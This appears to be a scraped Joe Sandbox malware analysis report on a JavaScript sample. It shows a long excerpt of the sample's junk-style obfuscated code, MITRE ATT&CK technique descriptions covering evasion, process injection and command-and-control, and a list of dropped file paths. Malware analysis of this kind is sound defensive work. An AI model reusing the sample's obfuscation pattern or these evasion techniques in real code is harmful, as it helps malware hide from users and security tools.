1106	knivvds = "c";
1107	knivvds = "B";
1108	knivvds = "v";
1109	knivvds = "O";
1110	knivvds = "h";
1111	knivvds = "n";
1112	knivvds = "i";
1113	knivvds = "P";
1114	knivvds = "g";
1115	knivvds = "k";
1116	knivvds = "z";
1117	knivvds = "p";
1118	knivvds = "I";
1119	knivvds = "P";
1120	knivvds = "z";
1121	knivvds = "q";
1122	knivvds = "P";
1123	knivvds = "A";
1124	knivvds = "o";
1125	knivvds = "X";
1126	knivvds = "X";
1127	knivvds = "t";
1128	knivvds = "@";
1129	plxji = "m";
1130	plxji = "-";
1131	cgdzz = "e";
1132	cgdzz = "q";
1133	cgdzz = "T";
1134	cgdzz = "O";
1135	cgdzz = "t";
1136	cgdzz = "p";
1137	cgdzz = "R";
1138	cgdzz = "g";
1139	cgdzz = "S";
1140	cgdzz = "C";
1141	cgdzz = "B";
1142	cgdzz = "Z";
1143	cgdzz = "t";
1144	cgdzz = "i";
1145	cgdzz = "L";
1146	cgdzz = "d";
1147	cgdzz = "O";
1148	cgdzz = "X";
1149	cgdzz = "V";
1150	cgdzz = "n";
1151	cgdzz = "n";
1152	cgdzz = "k";
1153	cgdzz = "2";
1154	hrtcpih = "o";
1155	hrtcpih = "K";
1156	hrtcpih = "w";
1157	hrtcpih = "H";
1158	hrtcpih = "x";
1159	hrtcpih = "f";
1160	hrtcpih = "l";
1161	hrtcpih = "l";
1162	hrtcpih = "k";
1163	hrtcpih = "f";
1164	hrtcpih = "r";
1165	hrtcpih = "b";
1166	dtlrxfpec = "G";
1167	dtlrxfpec = "I";
1168	dtlrxfpec = "P";
1169	dtlrxfpec = "y";
1170	dtlrxfpec = "n";
1171	dtlrxfpec = "Z";
1172	dtlrxfpec = "e";
1173	dtlrxfpec = "f";
1174	dtlrxfpec = "N";
1175	jzxkbuoht = "Q";
1176	jzxkbuoht = "o";
1177	jzxkbuoht = "E";
1178	jzxkbuoht = "b";
1179	jzxkbuoht = "d";
1180	jzxkbuoht = "w";
1181	jzxkbuoht = "k";
1182	jzxkbuoht = "t";
1183	jzxkbuoht = "w";
1184	jzxkbuoht = "J";
1185	jzxkbuoht = "G";
1186	jzxkbuoht = "w";
1187	jzxkbuoht = "R";
1188	jzxkbuoht = "H";
1189	jzxkbuoht = "K";
1190	jzxkbuoht = "y";
1191	jzxkbuoht = "F";
1192	jzxkbuoht = "g";
1193	jzxkbuoht = "B";
1194	jzxkbuoht = "I";
1195	jzxkbuoht = "o";
1196	jzxkbuoht = "i";
1197	jzxkbuoht = "h";
1198	jzxkbuoht = "E";
1199	jzxkbuoht = "L";
1200	jzxkbuoht = "M";
1201	jzxkbuoht = "r";
1202	jzxkbuoht = "j";
1203	jzxkbuoht = "x";
1204	jzxkbuoht = "t";
1205	jzxkbuoht = "q";
1206	jzxkbuoht = "F";
1207	jzxkbuoht = "M";
1208	jzxkbuoht = "l";
1209	jzxkbuoht = "N";
1210	jzxkbuoht = "F";
1211	jzxkbuoht = "v";
1212	jzxkbuoht = "U";
1213	jzxkbuoht = "Q";
1214	jzxkbuoht = "H";
1215	jzxkbuoht = "M";
1216	jzxkbuoht = "y";
1217	jzxkbuoht = "L";
1218	jzxkbuoht = "d";
1219	jzxkbuoht = "i";
1220	yslbbb = "v";
1221	yslbbb = "m";
1222	yslbbb = "I";
1223	yslbbb = "g";
1224	yslbbb = "N";
1225	yslbbb = "h";
1226	yslbbb = "H";
1227	yslbbb = "J";
1228	yslbbb = "d";
1229	yslbbb = "L";
1230	yslbbb = "d";
1231	yslbbb = "M";
1232	yslbbb = "p";
1233	yslbbb = "D";
1234	yslbbb = "p";
1235	yslbbb = "n";
1236	yslbbb = "e";
1237	yslbbb = "Y";
1238	yslbbb = "H";
1239	yslbbb = "j";
1240	yslbbb = "u";
1241	yslbbb = "o";
1242	yslbbb = "j";
1243	yslbbb = "y";
1244	yslbbb = "o";
1245	yslbbb = "O";
1246	yslbbb = "N";
1247	yslbbb = "M";
1248	yslbbb = "I";
1249	yslbbb = "V";
1250	yslbbb = "A";
1251	yslbbb = "O";
1252	yslbbb = "G";
1253	yslbbb = "F";
1254	yslbbb = "g";
1255	yslbbb = "a";
1256	yslbbb = "O";
1257	yslbbb = "M";
1258	yslbbb = "f";
1259	yslbbb = "g";
1260	pnplmhv = "N";
1261	pnplmhv = "W";
1262	pnplmhv = "s";
1263	pnplmhv = "d";
1264	pnplmhv = "d";
1265	pnplmhv = "a";
1266	pnplmhv = "A";
1267	pnplmhv = "N";
1268	pnplmhv = "m";
1269	pnplmhv = "l";
1270	pnplmhv = "g";
1271	pnplmhv = "A";
1272	pnplmhv = "j";
1273	pnplmhv = "b";
1274	pnplmhv = "V";
1275	pnplmhv = "N";
1276	pnplmhv = "g";
1277	pnplmhv = "O";
1278	pnplmhv = "h";
1279	pnplmhv = "O";
1280	pnplmhv = "m";
1281	pnplmhv = "w";
1282	jknfdl = "S";
1283	jknfdl = "Z";
1284	jknfdl = "H";
1285	jknfdl = "a";
1286	jknfdl = "V";
1287	jknfdl = "E";
1288	jknfdl = "x";
1289	jknfdl = "W";
1290	jknfdl = "P";
1291	jknfdl = "A";
1292	jknfdl = "l";
1293	jknfdl = "r";
1294	jknfdl = "M";
1295	jknfdl = "H";
1296	jknfdl = "M";
1297	jknfdl = "i";
1298	jknfdl = "m";
1299	jknfdl = "k";
1300	jknfdl = "l";
1301	jknfdl = "C";
1302	jknfdl = "K";
1303	jknfdl = "l";
1304	jknfdl = "l";
1305	jknfdl = "y";
1306	jknfdl = "s";
1307	jknfdl = "i";
1308	jknfdl = "L";
1309	jknfdl = "d";
1310	jknfdl = "T";
1311	jknfdl = "M";
1312	jknfdl = "C";
1313	jknfdl = "j";
1314	jknfdl = "r";
1315	jknfdl = "l";
1316	jknfdl = "k";
1317	jknfdl = "A";
1318	jknfdl = "C";
1319	jknfdl = "P";
1320	vijnky = "Q";
1321	vijnky = "o";
1322	vijnky = "s";
1323	vijnky = "W";
1324	vijnky = "V";
1325	vijnky = "Y";
1326	vijnky = "H";
1327	vijnky = "H";
1328	vijnky = "T";
1329	vijnky = "b";
1330	vijnky = "v";
1331	vijnky = "Z";
1332	vijnky = "m";
1333	vijnky = "c";
1334	vijnky = "P";
1335	vijnky = "f";
1336	vijnky = "T";
1337	vijnky = "z";
1338	vijnky = "Y";
1339	vijnky = "f";
1340	vijnky = "G";
1341	vijnky = "x";
1342	vijnky = "v";
1343	vijnky = "e";
1344	vijnky = "r";
1345	vijnky = "A";
1346	vijnky = "l";
1347	vijnky = "b";
1348	vijnky = "d";
1349	vijnky = "k";
1350	vijnky = "q";
1351	vijnky = "C";
1352	fhuby = "j";
1353	fhuby = "f";
1354	fhuby = "X";
1355	fhuby = "z";
1356	fhuby = "E";
1357	fhuby = "r";
1358	fhuby = "u";
1359	fhuby = "J";
1360	fhuby = "o";
1361	fhuby = "z";
1362	fhuby = "S";
1363	fhuby = "j";
1364	fhuby = "F";
1365	fhuby = "w";
1366	fhuby = "C";
1367	fhuby = "v";
1368	fhuby = "g";
1369	fhuby = "z";
1370	fhuby = "s";
1371	fhuby = "s";
1372	fhuby = "B";
1373	fhuby = "W";
1374	fhuby = "o";
1375	fhuby = "J";
1376	fhuby = "d";
1377	fhuby = "T";
1378	fhuby = "z";
1379	fhuby = "p";
1380	fhuby = "j";
1381	fhuby = "O";
1382	fhuby = "N";
1383	fhuby = "y";
1384	fhuby = "j";
1385	fhuby = "r";
1386	fhuby = "Q";
1387	fhuby = "B";
1388	fhuby = "L";
1389	fhuby = "M";
1390	fhuby = "M";
1391	fhuby = "L";
1392	fhuby = "X";
1393	fhuby = "N";
1394	fhuby = "s";
1395	xbumejvgn = "q";
1396	xbumejvgn = "a";
1397	xbumejvgn = "s";
1398	xbumejvgn = "Z";
1399	xbumejvgn = "H";
1400	xbumejvgn = "M";
1401	xbumejvgn = "I";
1402	xbumejvgn = "u";
1403	xbumejvgn = "v";
1404	xbumejvgn = "F";
1405	xbumejvgn = "f";
1406	xbumejvgn = "q";
1407	xbumejvgn = "T";
1408	xbumejvgn = "c";
1409	xbumejvgn = "A";
1410	xbumejvgn = "Y";
1411	xbumejvgn = "z";
1412	xbumejvgn = "Z";
1413	xbumejvgn = "r";
1414	xbumejvgn = "x";
1415	xbumejvgn = "X";
1416	xbumejvgn = "x";
1417	xbumejvgn = "n";
1418	xbumejvgn = "E";
1419	xbumejvgn = "I";
1420	xbumejvgn = "l";
1421	xbumejvgn = "E";
1422	xbumejvgn = "D";
1423	xbumejvgn = "G";
1424	xbumejvgn = "s";
1425	xbumejvgn = "k";
1426	xbumejvgn = "R";
1427	xbumejvgn = "I";
1428	xbumejvgn = "_";
1429	fpcslmxar = "T";
1430	fpcslmxar = "B";
1431	fpcslmxar = "l";
1432	fpcslmxar = "I";
1433	fpcslmxar = "B";
1434	fpcslmxar = "Q";
1435	fpcslmxar = "z";
1436	fpcslmxar = "p";
1437	fpcslmxar = "X";
1438	fpcslmxar = "Q";
1439	fpcslmxar = "n";
1440	fpcslmxar = "E";
1441	fpcslmxar = "0";
1442	mpprvlvq = "f";
1443	mpprvlvq = "E";
1444	mpprvlvq = "x";
1445	mpprvlvq = "q";
1446	mpprvlvq = "X";
1447	mpprvlvq = "J";
1448	mpprvlvq = "V";
1449	mpprvlvq = "b";
1450	mpprvlvq = "z";
1451	mpprvlvq = "E";
1452	mpprvlvq = "X";
1453	mpprvlvq = "k";
1454	mpprvlvq = "H";
1455	mpprvlvq = "J";
1456	mpprvlvq = "j";
1457	mpprvlvq = "p";
1458	mpprvlvq = "I";
1459	mpprvlvq = "O";
1460	mpprvlvq = "d";
1461	mpprvlvq = "N";
1462	mpprvlvq = "h";
1463	mpprvlvq = "d";
1464	mpprvlvq = "X";
1465	mpprvlvq = "E";
1466	mpprvlvq = "F";
1467	mpprvlvq = "q";
1468	lsjxgjdnc = "N";
1469	lsjxgjdnc = "g";
1470	lsjxgjdnc = "m";
1471	lsjxgjdnc = "C";
1472	lsjxgjdnc = "a";
1473	lsjxgjdnc = "V";
1474	lsjxgjdnc = "h";
1475	lsjxgjdnc = "M";
1476	lsjxgjdnc = "P";
1477	lsjxgjdnc = "K";
1478	lsjxgjdnc = "C";
1479	lsjxgjdnc = "a";
1480	lsjxgjdnc = "F";
1481	lsjxgjdnc = "q";
1482	lsjxgjdnc = "u";
1483	lsjxgjdnc = "I";
1484	lsjxgjdnc = "o";
1485	lsjxgjdnc = "T";
1486	lsjxgjdnc = "i";
1487	lsjxgjdnc = "b";
1488	lsjxgjdnc = "a";
1489	lsjxgjdnc = "T";
1490	lsjxgjdnc = "H";
1491	lsjxgjdnc = "r";
1492	lsjxgjdnc = "h";
1493	lsjxgjdnc = "r";
1494	lsjxgjdnc = "S";
1495	vfoog ( );	vfoog() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 86328271623317904.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d8397110-f449-403c-a53a-554af80858c3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3852

Windows Analysis Report
86328271623317904.js